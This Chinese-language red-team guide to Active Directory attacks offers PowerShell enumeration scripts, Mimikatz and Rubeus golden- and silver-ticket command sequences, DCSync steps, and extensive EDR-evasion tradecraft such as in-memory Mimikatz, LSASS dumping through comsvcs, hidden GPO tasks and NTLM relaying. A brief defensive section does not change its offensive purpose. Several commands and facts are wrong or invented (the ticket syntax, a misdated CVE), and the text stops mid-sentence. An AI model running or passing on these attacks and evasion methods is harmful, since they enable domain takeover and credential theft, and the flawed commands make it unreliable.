### 使用 PowerView 进行 Active Directory 枚举攻击技术演示
## 此 PowerView 脚本演示了 Active Directory 枚举 (TA0004) 技术,专注于从域中提取用户、组和计算机信息。这是权限提升或横向移动攻击的基础步骤。
## PowerView Active Directory 枚举攻击技术演示
```
# 导入 PowerView 模块
Import-Module .\PowerView.ps1
# 建立与 AD 域的连接
$domain = "example.com"
$domainController = "dc01.example.com"
$cred = Get-Credential -Message "Enter domain admin credentials"
# 枚举域中所有用户及其详细属性
$users = Get-ADUser -SearchBase "DC=$domain" -Filter * -Properties *
foreach ($user in $users) {
Write-Host "User: $user.SamAccountName"
Write-Host " Full Name: $user.Name"
Write-Host " Enabled: $user.Enabled"
Write-Host " Last Logon: $user.LastLogonTimestamp"
Write-Host " Password Never Expired: $user.PasswordNeverExpires"
Write-Host " ----------------------------"
}
# 枚举域中所有组及其成员
$groups = Get-ADGroup -SearchBase "DC=$domain" -Filter * -Properties *
foreach ($group in $groups) {
Write-Host "Group: $group.Name"
Write-Host " Members: $group.Members"
Write-Host " ----------------------------"
}
# 枚举域计算机及其操作系统和最后登录用户
$computers = Get-ADComputer -SearchBase "DC=$domain" -Filter * -Properties *
foreach ($computer in $computers) {
Write-Host "Computer: $computer.Name"
Write-Host " OS: $computer.OperatingSystem"
Write-Host " Last Logon: $computer.LastLogonTimestamp"
Write-Host " ----------------------------"
}
# 枚举所有未设置密码的用户(潜在目标)
$weakPasswordUsers = Get-ADUser -SearchBase "DC=$domain" -Filter {PasswordNeverExpires -eq $true -or PasswordLastSet -eq $null} -Properties *
foreach ($user in $weakPasswordUsers) {
Write-Host "Weak Password User: $user.SamAccountName"
Write-Host " ----------------------------"
}
# 枚举具有特定属性的用户(例如,已禁用或已过期)
$disabledUsers = Get-ADUser -SearchBase "DC=$domain" -Filter {Enabled -eq $false} -Properties *
foreach ($user in $disabledUsers) {
Write-Host "Disabled User: $user.SamAccountName"
Write-Host " ----------------------------"
}
# 枚举具有特定权限的组(例如,Domain Admins)
$privilegedGroups = Get-ADGroup -SearchBase "DC=$domain" -Filter {GroupCategory -eq "Security"} -Properties *
foreach ($group in $privilegedGroups) {
Write-Host "Privileged Group: $group.Name"
Write-Host " ----------------------------"
}
# 枚举域控制器(关键目标)
$domainControllers = Get-ADComputer -SearchBase "DC=$domain" -Filter {OperatingSystem -like "*Windows Server*"} -Properties *
foreach ($dc in $domainControllers) {
Write-Host "Domain Controller: $dc.Name"
Write-Host " ----------------------------"
}
```
## 涵盖的关键枚举技术
* **用户枚举**:
* 列出具有 `Name`、`Enabled`、`LastLogonTimestamp` 和`PasswordNeverExpires` 等属性的所有用户。
* 识别具有弱密码的用户(例如,`PasswordNeverExpires` 或未设置 `PasswordLastSet`)。
* **组枚举**:
* 检索所有安全组及其各自成员。
* 突出显示特权组,如 `Domain Admins` 或 `Enterprise Admins`。
* **计算机枚举**:
* 查找域计算机及其操作系统。
* 定位域控制器以进行进一步利用(例如,Kerberos 票据操作、DCSync)。
### **PowerView 脚本:针对域控制器的权限提升**
此 PowerView 脚本专为针对域控制器 (DC) 而定制,以便进行进一步的利用,如 Kerberos 票据操作或 DCSync。该脚本专注于枚举 DC 并识别具有提升权限或错误配置 ACL 的用户,这些可能被用于权限提升。
```
# 导入 PowerView 模块
Import-Module .\PowerView.ps1
# 域名和域控制器搜索过滤器
$domain = "example.com"
$dcSearchBase = "DC=$domain"
# 步骤 1:枚举所有域控制器
$domainControllers = Get-ADComputer -SearchBase $dcSearchBase -Filter {OperatingSystem -like "*Windows Server*"} -Properties *
# 输出 DC 详细信息
Write-Host "### Domain Controllers Identified:"
foreach ($dc in $domainControllers) {
Write-Host "DC Name: $dc.Name"
Write-Host " DNS Hostname: $dc.DistinguishedName"
Write-Host " Operating System: $dc.OperatingSystem"
Write-Host " Last Logon Timestamp: $dc.LastLogonTimestamp"
Write-Host " ----------------------------"
}
# 步骤 2:枚举具有 Domain Admins 组成员身份的用户(提权目标)
$domainAdminsGroup = Get-ADGroup -SearchBase $dcSearchBase -Filter {Name -eq "Domain Admins"} -Properties * | Get-ADGroupMember -Recursive
Write-Host "### Domain Admins Group Members (Potential Targets for DCSync/Kerberos Exploitation):"
foreach ($user in $domainAdminsGroup) {
$userProperties = Get-ADUser -Identity $user -Properties *
Write-Host "User: $($userProperties.SamAccountName)"
Write-Host " Full Name: $($userProperties.Name)"
Write-Host " Enabled: $($userProperties.Enabled)"
Write-Host " Password Never Expires: $($userProperties.PasswordNeverExpires)"
Write-Host " Last Logon: $($userProperties.LastLogonTimestamp)"
Write-Host " ----------------------------"
}
# 步骤 3:检查在 DC 上具有本地管理员权限的用户(横向移动机会)
foreach ($dc in $domainControllers) {
$dcName = $dc.Name
Write-Host "### Checking Local Admin Rights on DC: $dcName"
$localAdmins = Get-ADComputer -Identity $dcName -Properties * | Select-Object -ExpandProperty "OtherAttributes" | ForEach-Object {
[System.Collections.ArrayList]@($_.Split(",")[0].Split("=")[1], $_.Split(",")[1].Split("=")[1])
}
# Filter for "LocalAccountTokenFilterPolicy" or "LocalAdmin" permissions
$localAdmins | Where-Object { $_ -eq "LocalAccountTokenFilterPolicy" -or $_ -eq "LocalAdmin" } | ForEach-Object {
Write-Host " Local Admin Privilege Found: $_"
}
Write-Host " ----------------------------"
}
# 步骤 4:枚举在 DC 上具有弱密码的用户(凭据窃取目标)
$weakPasswordUsers = Get-ADUser -SearchBase $dcSearchBase -Filter {PasswordNeverExpires -eq $true -or PasswordLastSet -eq $null} -Properties *
Write-Host "### Weak Password Users on DCs (Potential Targets for Kerberos Ticket Manipulation):"
foreach ($user in $weakPasswordUsers) {
Write-Host "User: $($user.SamAccountName)"
Write-Host " Enabled: $($user.Enabled)"
Write-Host " Last Logon: $($user.LastLogonTimestamp)"
Write-Host " ----------------------------"
}
# 步骤 5:检查 DC 上配置错误的 ACL(例如,对 SYSVOL 或 NTDS.dit 具有写入权限的用户)
# 示例:检查对 "CN=NTDS,CN=System,DC=example,DC=com" 具有 "Write" 权限的用户
$ntdsObject = Get-ADObject -Identity "CN=NTDS,CN=System,$dcSearchBase" -Properties *
Write-Host "### ACLs on Critical DC Objects (e.g., NTDS.dit):"
Write-Host " Object: CN=NTDS,CN=System,$dcSearchBase"
Write-Host " Permissions: $ntdsObject.ObjectPermissions"
Write-Host " ----------------------------"
```
### **如何将其纳入 TA0004(权限提升)**
1. **针对域控制器**:
- DC 对于 DCSync 和 Kerberos 票据操作至关重要,因为它们在 **`NTDS.dit`** 文件中保存域凭据并颁发 Kerberos 票据。
- 该脚本使用 `OperatingSystem -like "*Windows Server*"` 识别 DC 并提取其名称和属性。
2. **查找域管理员**:
- 域管理员是 **T1548(滥用提升控制机制)** 的主要目标。该脚本递归检索 `Domain Admins` 组的成员以识别可利用的潜在用户。
3. **DC 上的本地管理员权限**:
- DC 通常具有提升权限的本地管理员帐户。该脚本通过 `OtherAttributes`(例如,`LocalAccountTokenFilterPolicy`)检查本地管理员权限,这可被用于横向移动。
4. **弱密码**:
- 具有 `PasswordNever` 或未设置 `PasswordLastSet` 值的用户容易受到凭据窃取。这些用户可用于模拟或操作 Kerberos 票据。
5. **错误配置的 ACL**:
- 该脚本检查 `NTDS` 对象上的权限,以查找对域的 `SYSVOL` 或 `NTDS.dit` 文件具有 **写入权限** 的用户或组,从而启用 DCSync 攻击。
### **枚举后的后续步骤**
一旦识别了域控制器和特权用户,您可以:
- 使用 **DCSync** 通过以下方式提取域凭据:
# 使用 BloodHound 或 Mimikatz 进行 DCSync 的示例
Invoke-DCSync -Domain
# 导入 PowerView 模块
Import-Module PowerView
# 枚举用户及其属性
Get-User -Domain domain.com -UserName *
# 枚举组和成员
Get-Group -Domain domain.com -GroupName *
# 查找具有特定权限的用户(例如,管理员)
Get-ADObject -Filter {objectClass -eq "user"} -Properties * | Where-Object { $_.userAccountControl -band 16777216 }
# 枚举进程及其所有者(用于横向移动)
Get-Process -ComputerName target.com | Select-Object ProcessName, Owner
## 黄金/白银票据攻击 [(T1558)](https://attack.mitre.org/techniques/T1558/)
### 攻击详情
黄金票据是一种关键的后渗透技术,用于伪造 Kerberos 票据授予票据 (TGT),授予个人对 Active Directory (AD) 域的无限、几乎不可检测和持久的管理员访问权限。该攻击通常使用 `mimikatz.exe` 执行,以从受损的域控制器 (DC) 中提取必要的加密密钥。
* **注意**:它被称为“黄金票据”,因为它充当整个网络的“主密钥”或 VIP 通行证,允许个人模拟任何用户(包括域管理员),而无需其实际密码。
## 黄金票据攻击如何配合 Mimikatz 工作
该攻击通常分几个步骤进行,通常是在个人已经在目标网络中获得立足点之后。
### 1. 初始入侵和权限提升
个人通过后 Mimikatz 攻击方法(如网络钓鱼)入侵网络并提升权限,直到他们获得任何高权限或域管理员权限或对域控制器的直接访问权限。
### 2. `krbtgt` 哈希提取
个人可以使用 Mimikatz 从 Active Directory 数据库 (`NTDS.dit`) 或 LSASS 进程内存中转储 `krbtgt` 帐户的 NTLM 密码哈希 - 这是一个签署所有 Kerberos 票据的内置帐户 - 使用诸如 `lsadump::DCSync /user:DOMAIN\krbtgt` 之类的命令。
### 3. 收集域信息
个人收集诸如域 SID(安全标识符)和完全限定域名 (FQDN) 之类的信息。
### 4. 伪造票据
个人使用提取的哈希,使用 `mimikatz.exe` 生成伪造的 TGT,通常将权限设置为域管理员并将其有效期延长数年。使用的常见命令是 `kerberos::golden /domain: /sid: /krbtgt: /user:Administrator /ptt`。
### 5. 传递票据(注入)
使用 `/ptt` 标志(传递票据),Mimikatz 将伪造的票据直接注入到当前会话内存中。
### 6. 无限制访问
个人现在对受损域内的任何服务(如文件服务器和数据库)拥有完全的、看似合法的访问权限。
* **🔸TL;DR**:伪造 Kerberos 票据授予票据 (TGT) 以维持域管理员访问权限。 ### 工具 * Mimikatz * **用于**:黄金票据(用于域范围访问的 Kerberos TGT) ``` # 步骤 1:获取 krbtgt 哈希(需要 SYSTEM 权限) mimikatz.exe "lsa::dump /domain" # 步骤 2:创建 Golden Ticket(使用 krbtgt 哈希) mimikatz.exe "kerberos::golden /domain:example.com /user:Administrator /id:500 /password:Secretpass123 /sid:S-1-5-21-... /target:target.com /ticket:golden_ticket.kirbi" # 步骤 3:将 Golden Ticket 加载到内存中 mimikatz.exe "kerberos::ptt golden_ticket.kirbi" # 步骤 4:使用票据访问资源(例如,以 Administrator 身份登录) mimikatz.exe "ts::login /user:Administrator /domain:example.com" ``` ### 工具 * Mimikatz * **用于**:白银票据(用于约束委派的 Kerberos 服务票据) ``` # 步骤 1:获取服务账户哈希(例如,从 lsass 或 Kerberos 票据) mimikatz.exe "sekurlsa::hashes /process" # 步骤 2:创建 Silver Ticket(使用服务账户哈希) mimikatz.exe "kerberos::silver /service:HTTP/target.com /user:serviceAccount /password:Secretpass123 /domain:example.com /dc:domain.com" # 步骤 3:将 Silver Ticket 加载到内存中 mimikatz.exe "kerberos::ptt silver_ticket.kirbi" # 步骤 4:使用票据访问服务(例如,HTTP) mimikatz.exe "ts::login /user:serviceAccount /domain:example.com" ``` ### 工具 * Rubeus - 黄金和白银票据 * **用于**:黄金票据(Kerberos TGT)攻击,以已知增强弱点 ``` # 步骤 1:请求 Golden Ticket(使用域凭据) Rubeus.exe golden /user:Administrator /password:Secretpass123 /domain:example.com /sid:S-1-5-21-... /target:target.com # 步骤 2:使用 Golden Ticket 模拟用户 Rubeus.exe ptt /ticket:golden_ticket.kirbi # 步骤 3:使用模拟的票据访问资源 Rubeus.exe kerberos::ticket /ticket:golden_ticket.kirbi /s:target.com ``` ### 工具 * Rubeus * **用于**:白银票据(Kerberos 服务票据)攻击 ``` # 步骤 1:请求 Silver Ticket(使用服务账户凭据) Rubeus.exe silver /service:HTTP/target.com /user:serviceAccount /password:Secretpass123 /domain:example.com /dc:domain.com # 步骤 2:使用 Silver Ticket 访问服务 Rubeus.exe ptt /ticket:silver_ticket.kirbi # 步骤 3:使用票据访问服务(例如,HTTP) Rubeus.exe kerberos::ticket /ticket:silver_ticket.kirbi /s:target.com ``` ### 工具 * PowerView - 用于票据攻击的枚举 * **用于**:黄金票据(识别模拟目标) ``` # 步骤 1:枚举域用户(包括管理员) Import-Module PowerView Get-User -Domain example.com | Where-Object { $_.UserAccountControl -band 16777216 } # 步骤 2:查找服务账户或 SPN 以作为 Silver Ticket 目标 Get-SPN -Domain example.com | Select-Object -ExpandProperty SPN ``` ### 工具 * PowerView * **用于**:白银票据(识别服务目标) ``` # 步骤 1:枚举域中所有服务 (SPN) Get-SPN -Domain example.com # 步骤 2:查找具有特定权限的用户(例如,用于 Golden Ticket) Get-ADObject -Filter {objectClass -eq "user"} -Properties * | Where-Object { $_.userAccountControl -band 16777216 } ``` ## 权限提升 [(TA0004)](https://attack.mitre.org/techniques/TA0004/) * **滥用提升控制机制 (T1548)**:利用 UAC 绕过、令牌操作或错误配置的访问控制列表 (ACL)。 ### 工具 * PowerUp * BloodHound ## 可操作的缓解和防御策略 ### 加固(预防) * **禁用旧协议**:禁用 SMBv1、LLMNR 并限制 NTLMv1。 * **凭据保护**:实现凭据保护、LAPS(本地管理员密码解决方案)用于本地管理员帐户。 * **分层管理**:实施分层管理员模型以限制高权限帐户访问低层工作站。 * **AD CS 安全**:审计并加固 AD 证书服务以防止伪造。 ## 监控(检测) * **SIEM/审计日志**:监控事件 ID 4624(成功登录)、4688(进程创建)和 4720-4730(用户/组管理)。 * **检测规则**:为 `ntds.dit` 文件访问、异常服务创建(`PsExec`)和敏感组成员身份修改(例如,域管理员)创建警报。 * **模拟**:使用 Caldera 或 Infection Monkey 等工具模拟 DCSync (T1003.006) 等技术以测试检测有效性。 ## 进攻性安全最佳实践和蓝队建议 ### 工具的“要”和“不要” * **要**:使用合法的管理工具(Living off the Land)以避免特征检测(例如,PowerShell、WMI)。 * **不要**:在不重命名或混淆可执行文件的情况下运行 Mimikatz 等工具,因为它具有高度特征。 ### 避免蓝队障碍: * **操作安全 (OPSEC)**:避免嘈杂的扫描。使用特定收集方法的 SharpHound,而不是 All。 * **Living off the Land**:使用 `net.exe`、`dsquery` 或本机 PowerShell cmdlet 以减少取证足迹。 * **有针对性的枚举**:使用 BloodHound 识别通往域管理员的最短、噪音最小的攻击路径,而不是尝试攻击每个对象。 ## 核心 Active Directory TTPs Active Directory 攻击通常跨越四个主要策略:凭据访问、发现、横向移动和持久化。 ### 凭据访问 * **Kerberoasting [(T1558.003)](https://attack.mitre.org/techniques/T1558/003/)**:请求服务帐户的服务票据 (TGS) 并离线破解它们。 * **AS-REP Roasting [(T1558.004)](https://attack.mitre.org/techniques/T1558/004/)**:针对启用了“不要要求 Kerberos 预身份验证”的帐户以破解其密码。 * **`NTDS.dit` 转储 [(T1003.003)](https://attack.mitre.org/techniques/T1003/003/)**:从域控制器窃取主要的 AD 数据库文件以提取所有用户哈希。 * **传递哈希 [(T1550.002)](https://attack.mitre.org/techniques/T1550/002/)**:使用捕获的 NTLM 哈希进行身份验证,而无需明文密码。 * **传递票据 [(T1550.003)](https://attack.mitre.org/techniques/T1550/003/)**:使用捕获的 Kerberos 票据 (TGT/TGS) 在域中移动。 ## 发现 * **域信任发现 [(T1482)](https://attack.mitre.org/techniques/T1482/)**:使用 AdFind 或 BloodHound 等工具映射域和林之间的关系。 * **帐户发现 [(T1087.002)](https://attack.mitre.org/techniques/T1087/002/)**:通过 LDAP 查询或 `net user /domain` 等本机工具枚举域帐户。 * **权限组发现 [(T1069.002)](https://attack.mitre.org/techniques/T069/002/)**:识别高价值组,如域管理员或企业管理员。 * **域控制器发现 [(T1018)](https://attack.mitre.org/techniques/T1018/)**:通过 DNS 或 `nltest` 定位域控制器。 ## 横向移动与持久化 * **黄金票据 [(T1558.001)](https://attack.mitre.org/techniques/T1558/001/)**:使用 `krbtgt` 帐户哈希伪造票据授予票据 (TGT) 以获得永久域范围访问权限。 * **白银票据 [(T1558.002)](https://attack.mitre.org/techniques/T1558/002/)**:伪造服务票据以获得对特定服务(例如,MSSQL、CIFS)的未经授权访问。 * **DCShadow [(T1207)](https://attack.mitre.org/techniques/T1207/)**:注册恶意域控制器以注入恶意对象或更改权限。 * **DCSync [(T1003.006)](https://attack.mitre.org/techniques/T1003/006/)**:模拟域控制器以通过复制协议从另一个 DC 请求帐户哈希。 ## Active Directory CS (证书服务) 利用 AD CS 目前是从标准用户提升到域管理员的最有效方法之一。 * **ADCS ESC1/ESC2/ESC3 [(T1649)](https://attack.mitre.org/techniques/T1649/)**:错误配置的证书模板。 使用低权限帐户为高权限用户(如域管理员)请求证书。 * **AD CS ESC8 [(T1557.001)](https://attack.mitre.org/techniques/T1557/001/)**:NTLM 中继到 HTTP 注册选项。 强制域控制器向攻击者机器进行身份验证,然后将其中继到 AD CS Web 接口以获取 DC 证书。 * **证书窃取 [(T1552.004)](https://attack.mitre.org/techniques/T1552/004/)**:从用户存储导出私钥和证书以绕过 MFA 或模拟身份。 ## 委托与关系攻击 Active Directory (AD) 委托和关系攻击利用 Windows 域环境中的固有信任、错误配置和合法功能(也称为 Living Off The Land (LOTL))来提升权限、横向移动和转移。**委托攻击**利用服务模拟用户以访问其他服务的能力,而**关系攻击**利用 AD 域中对象(用户、组、计算机)之间过多或意外的访问控制列表 (ACL) 权限。 ### 非约束委派 [(T1558)](https://attack.mitre.org/techniques/T1558/) 当受损服务器允许个人拦截连接到它的高权限用户的票据授予票据 (TGT) 时,就会发生非约束委派。一旦 TGT 存储在内存 (LSASS) 中,就可以将其提取并立即用于模拟或带离线破解,从而提供通往完全域妥协的直接路径。 ### 约束委派 [(T1558.003)](https://attack.mitre.org/techniques/T1558/003) 约束委派利用 `msDS-AllowedToDelegateTo` 属性,该属性指定服务帐户可以模拟用户访问的后端服务。通过损害具有此权限的帐户,个人可以利用服务对用户 (S4U) 扩展为任何用户(包括高权限管理员)生成有效的服务票据,而无需其交互,从而授予对受限目标服务的未经授权访问。 ### 基于资源的约束委派 (RBCD) [(T1558)](https://attack.mitre.org/techniques/T1558/) 将目标计算机的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性配置为允许攻击者控制的计算机模拟用户访问它。 * **组策略对象 (GPO) 滥用 [(T1484.001)](https://attack.mitre.org/techniques/T1484.001/) 组策略对象 (GPO) 滥用利用对 GPO 的未经授权的写入访问权限,以跨域加入的系统部署恶意配置。通过修改高影响设置(例如添加计划任务、通过启动/关机策略推送恶意脚本或将新帐户注入本地管理员组),个人可以实现自动化、大规模的代码执行和对链接的组织单元 (OU) 内所有工作站或服务器的持久管理控制。 ## 操作与模拟 * **SAM 名称欺骗 / NoPac (T1558)**:利用逻辑漏洞 (CVE-2012-42278/42287),其中计算机帐户名称更改为与域控制器匹配,诱骗 KDC 颁发高权限 TGT。 * **ACL/ACE 修改 (T1098)**:向目标对象(如用户或组)添加 `GenericAll` 或 `WriteDacl` 权限以确保长期控制。 * **`AdminSDHolder` (T1098)**:修改 `AdminSDHolder` 容器的权限。AD 每隔 60 分钟自动将这些权限传播到受保护的组(如域管理员)。 ## 网络与协议攻击(内网) * **LLMNR/NBT-NS 投毒 (T1557.001)**:使用 Responder 等工具欺骗名称解析响应并从网络捕获 NTLMv2 哈希。 * **IPv6 DNS 接管 / `mitm6` (T1557.001)**:充当恶意 IPv6 DNS 服务器以强制 Windows 机器 WPAD 进行身份验证,从而允许 NTLM 中继。 * **远程服务创建 (T1543.003)**:一旦获得本地管理员权限,使用 `PsExec` 或 `sc.exe` 在远程计算机上创建服务。 ## 红队执行:通往域管理员之路 ### 1. 初始访问和凭据捕获 ### 战术、技术和流程 (TTP): * LLMNR/NBT-NS 投毒 (T1557.001) * 鱼叉式网络钓鱼 (T1566.001) #### 主要工具: * **Responder**:通过协议投毒捕获 NTLMv1/v2 哈希。 * **Inveigh**:Responder 的 PowerShell/C# 版本(更适合仅 Windows 环境)。 * **Evilginx2**:用于 MFA 绕过网络钓鱼。 #### 规避技术: * **首先分析网络流量**:在投毒之前,以“分析”模式 (`-A`) 运行 Responder 以识别噪音。 * **有针对性的投毒**:使用 `-I` 标志定位特定的 IP 范围,而不是定位整个子网,这将触发检测警报。 * **Socket 选择**:使用 `Inveigh` 避免打开 EDR 监控的高风险新端口。 ### 2. 侦察 ### 战术、技术和流程 (TTP): * 域信任/对象发现 (T1482) #### 主要工具: * **BloodHound / SharpHound**:绘制“域管理员六度分隔”。 * **AdFind**:用于特定 LDAP 查询的命令行工具。 * **Snaffler**:在开放共享中查找 AD 中的敏感数据(密码、证书)。 #### 规避技术: * **隐蔽收集**:使用带有 `--collectionmethod DCOnly` 或 `LogonSessions` 的 `SharpHound` 以避免接触每台工作站。 * **慢而稳**:使用 `--throttling` 和 `--jitter` 标志绕过对大量 LDAP 查询的基于行为的检测。 * **不要使用 `.exe`**:通过 C2 (Cobalt Strike 或 Havoc) 中的 `execute-assembly` 在内存反射中运行 SharpHound。 ### 3. 权限提升 ### 战术、技术和流程 (TTP): * Kerberoasting (T1558.003) * AD CS ESC1 (T1649) ### 主要工具: * **Rubeus**:AD Kerberos 交互的行业标准。 * **Certipy / Certify**:用于识别和利用 AD CS 错误配置。 * **Impacket 工具套件的 (`GetUserSPNs.py`)**:用于从 *nix 攻击框进行远程 Kerberoasting。 #### 规避技术: * **有针对性的 Roasting**:**不要 roast 每个 SPN**。仅请求具有高权限关键字(例如,`*adm*`、`*svc*`、`*sql*`)的帐户的票据。 * **加密降级**:如果目标域支持 AES,请避免强制使用弱加密 (RC4),或者仅 RC-4 请求是高保真警报。 * **OPSEC 安全的 AD CS**:使用 `Certify` 查找模板,但除非绝对必要,否则避免使用 `/enforce` 标志,以防止意外锁定或触发警报。 ### 4. 横向移动 ### 战术、技术和流程 (TTP): * Overpass-the-Hash / 传递票据 (PtT) ### 主要工具: * **Mimikatz**:凭据提取和注入的经典工具。 * **Impacket 工具套件 (`wmiexec.py` / `PSExec.py`)**:用于在远程目标上执行命令。 * **Evil-WinRM**:使用捕获的凭据进行远程管理访问。 #### 规避技术: * **避免磁盘上的 Mimikatz**:**始终通过内存运行它**或使用 LSASS 小型转储(例如,通过 `rundll32` 使用 `comsvcs.dll`)以避免特征检测。 * **SMB 上的 WMI**:使用 `wmiexec` 或 `dcomexec` 而不是 `psexec`,因为 `psexec` 创建 EDR 会立即标记的可见服务。 * **SOCKS 代理**:使用 `Chisel` 或 `Ligolo-ng` 通过 C2 代理隧道传输 Impacket 流量,使其看起来像不起眼的本地网络流量。 ### 5. 持久化 ### 战术、技术和流程 (TTP): * 黄金票据 (T1558.001) * GPO 修改 (T1484.001) #### 主要工具: * **Mimikatz (`lsadump::lsa /patch`)**:提取 `krbtgt` 哈希。 * **`SharpGPOAbuse`**:用于向 GPO 添加恶意任务或权限。 * **`PyGPOTools`**:用于远程 GPO 滥用和操作。 #### 规避技术: * **`krbtgt` 轮换**:如果您创建黄金票据,请确保其生命周期很短(例如,10 小时)以匹配正常域策略,并避免触发任何文件不匹配警报。 * **GPO “隐藏”任务**:修改 GPO 时,使用现有的合法 GPO 并添加仅在特定条件下触发的“隐藏”计划任务。 * **DCSync 计时**:运行 `DCSync` 获取 `krbtgt` 哈希时,以已知流量较高的特定 DC 为目标,以与复制和后台“网络噪音”混合。 ### 红队工具快速细分 | 攻击阶段 | 工具 | MITRE ID | | -------- | -------- | -------- | | 初始捕获 | [Responder](https://www.kali.org/tools/responder/), [Inveigh](https://github.com/kevin-robertson/inveigh) | [T1557.001](https://attack.mitre.org/techniques/T1557/001/) | 映射 | [BloodHound](https://www.kali.org/tools/bloodhound)/, [SharpHound](https://github.com/SpecterOps/SharpHound) | [T1482](https://attack.mitre.org/techniques/T1482/) | Kerberos 利用 | [Rubeus](https://www.kali.org/tools/rubeus/), [Impacket](https://www.kali.org/tools/impacket/) | [T1558](https://attack.mitre.org/techniques/T1558/) | AD CS 利用 | [Certipy](https://github.com/ly4k/Certipy), [Certify](https://github.com/GhostPack/Certify) | [T1649](https://attack.mitre.org/techniques/T1649/) | | 移动 | [Mimikatz](https://www.kali.org/tools/mimikatz/), [WMIexec](https://github.com/XiaoliChan/wmiexec-Pro) | [T1550](https://attack.mitre.org/techniques/T1550/) | | 持久化 | [SharpGPOAbuse](https://github.com/byronkg/SharpGPOAbuse), [Mimikatz](https://www.kali.org/tools/mimikatz/) | [T1484](https://attack.mitre.org/techniques/T1484/) ### 6. 强制身份验证和 NTLM 中继 这些技术允许个人横向移动并提升权限,而无需破解密码或查找明文凭据。 ### 战术、技术和流程 (TTP): * ** adversaries-in-the-Middle (AitM) (T1557.001)**:adversaries-in-the-Middle (AitM) 是 MITRE ATT&CK® 框架中的一种特定网络安全子技术,其中个人将自己投毒在用户和合法网络资源之间,以拦截和操作身份验证流量。通过利用弱网络协议 (LLMNR、NBT-NS、mDNS),个人能够诱骗系统向攻击者控制的机器发送身份验证哈希,然后将其中继到其他服务以获得未经授权的访问。 * **利用远程服务 (T1210)**:这涉及强制高权限机器(如域控制器)向您进行身份验证,然后将该会话“中继”到目标(如 AD CS 或敏感的、关键任务服务器)。 ### 主要工具: * **PetitPotam/SpoolSample**:强制计算机帐户通过 MS-EFSR 或打印后台处理程序进行身份验证。 * **Impacket 工具套件 (`ntlmrelayx`)**:捕获身份验证并将其中继到 LDAP、SMB 或 HTTP 的“引擎”。 * **PrinterBug**:专门针对打印系统远程协议以强制身份验证。 ### 规避技术: * **中继到 LDAP/S**:许多 EDR 监控 SMB 中继。将 NTLM 中继到 LDAP(以修改权限)或 AD CS(以获取证书)通常较少受到审查。 * **多中继**:在 `ntlmrelayx` 中使用 `--multi-relay` 以同时在多个目标上维持持久的中继会话。 ### 7. 影子凭据 (Whiteshadow) ### ### 战术、技术和流程 (TTP): * **帐户操作 (T1098)**:如果您对用户或计算机对象拥有“`GenericWrite`”或“`WriteProperty`”权限,您可以向其 `msDS-KeyCredentialLink` 属性添加公钥,然后通过 PKINIT 以其身份进行身份验证。 ### 主要工具: * **Whisker / `pyWhisker`**:专为操作 `msDS-KeyCredentialLink` 属性而设计。 * **Rubeus**:用于执行随后的 PKINIT 身份验证以获取 TGT。 ### 规避技术: * **属性清理**:此技术在对象上留下永久属性。在获得 TGT 后始终立即删除密钥链接,以最大程度地减少取证足迹。 * **定位“死”帐户**:将影子凭据应用于很少使用但具有高权限的帐户,以避免触发“活动会话”警报。 ### 8. 本地权限提升 (LPE) 到域访问 ### ### 战术、技术和流程 (TTP): * **访问令牌操作 (T1134)**:访问令牌操作 (T1134) 是 MITRE ATT&CK® 使用的一种技术,对手通过操纵与进程和线程关联的 Windows 安全令牌来获得对系统的未经授权访问、提升权限并规避安全控制。该技术主要针对 Windows 环境,允许个人更改正在运行的进程的安全上下文,使其看起来像是以不同的用户(例如,管理员或 `NT AUTHORITY\SYSTEM`)身份运行。 * **启动或登录自动启动执行 (T1547)**:启动或登录自动启动执行 (T1547) 是一种 MITRE ATT&CK® 技术,个人配置恶意程序在系统启动或用户登录时自动运行。通过滥用系统启动机制(如注册表项、启动文件夹或 `systemd`),他们可以实现持久化、权限提升和隐蔽。 ### 主要工具: * **[SharpUp](https://github.com/ghostpack/sharpup) / [Seatbelt](https://github.com/GhostPack/Seatbelt)**:审计本地错误配置(未加引号的服务路径、可修改的二进制文件)。 * **[GodPotato](https://github.com/BeichenDream/GodPotato) / [PetitPotato](https://github.com/wh0amitz/PetitPotato)**:现代“Potato”利用,以从服务帐户提升到 `SYSTEM`。 * **Mimikatz (`sekurlsa::tickets`)**:用于“收集”当前或先前登录到机器的用户的票据。 #### 规避技术: * **进程注入**:不要将利用作为新进程运行,而是将 LPE 代码注入到受信任的进程(如 `svchost.exe` 或 `spoolsv.exe`)中。 * **令牌模拟**:使用 `incognito`(通过 [Metasploit](https://github.com/rapid7/metasploit-framework)/Cobalt Strike)从内存中窃取令牌,而无需转储 LSASS,这是一个巨大的 EDR 触发器。 ### 9. “黄金 GMSA”攻击 ### ### 战术、技术和流程 (TTP): * 窃取或伪造 Kerberos 票据 (T1558) * 组托管服务帐户 经常用于高权限服务。如果您可以读取 `msDS-ManagedPassword` 属性,您就拥有该服务。 ### 主要工具: * **`GMSAPasswordReader`**:专门用于提取 gMSA 密码。 * **BloodHound**:用于识别哪些用户拥有读取 gMSA 密码的权限。 ### 规避技术 * **LDAP 过滤**:使用有针对性的 LDAP 过滤器仅读取特定的 gMSA 属性(例如,`msDS-GroupMSAMembership`)可以提高性能并通过最大限度地减少不必要的数据暴露来增强安全性。通过减少返回的数据,降低了触发行为警报的风险,例如可能标记未经授权的侦察和枚举活动的 AD 监控警报。 * **有针对性的过滤**:而不是查询所有属性(例如,使用 `*`),而是使用精确的 LDAP 搜索过滤器将结果缩小到所需的对象类,例如 `(&(objectClass=msDS-GroupManagedServiceAccount)(cn=MyGmsa))`。 * **属性选择**:使用带有特定属性列表的 `Set-AD -Properties` 或 `ldap_search` 等工具仅检索所需的数据(例如,`msDS-GroupMSAMembership`)。 * **减少行为警报**:请求大量或敏感属性可能会触发 SIEM 或监控工具。 * **优化性能**:服务器端过滤提高了速度,特别是在大型 Active Directory 环境中。 *减少数据暴露和攻击面**:避免检索额外的敏感或不必要的信息。 **PowerShell 示例**: ``` Get-ADObject -LDAPFilter "(&(objectClass=msDS-GroupManagedServiceAccount)(cn=MyGmsa))" -Properties msDS-GroupMSAMembership ``` ### 红队 TTP 映射表 | 攻击阶段 | 技术 | MITRE TTP | 工具 | | -------- | -------- | -------- | -------- | | 初始 | 强制身份验证 | T1210 | PetitPotam | | 提升 | 影子凭据 | T1098 | Whisker | | 侦察 | gMSA 发现 | T1087.002 | BloodHound | | 移动 | 令牌模拟 | T1134 | Incognito | | 持久化 | 黄金证书 | T1558.001 | ForgeCert | ## 规避和工具命令语法技术深度解析 ### 1. 检测规避深度解析:中和 AMSI 和 ETW 现代端点检测与响应 (EDR) 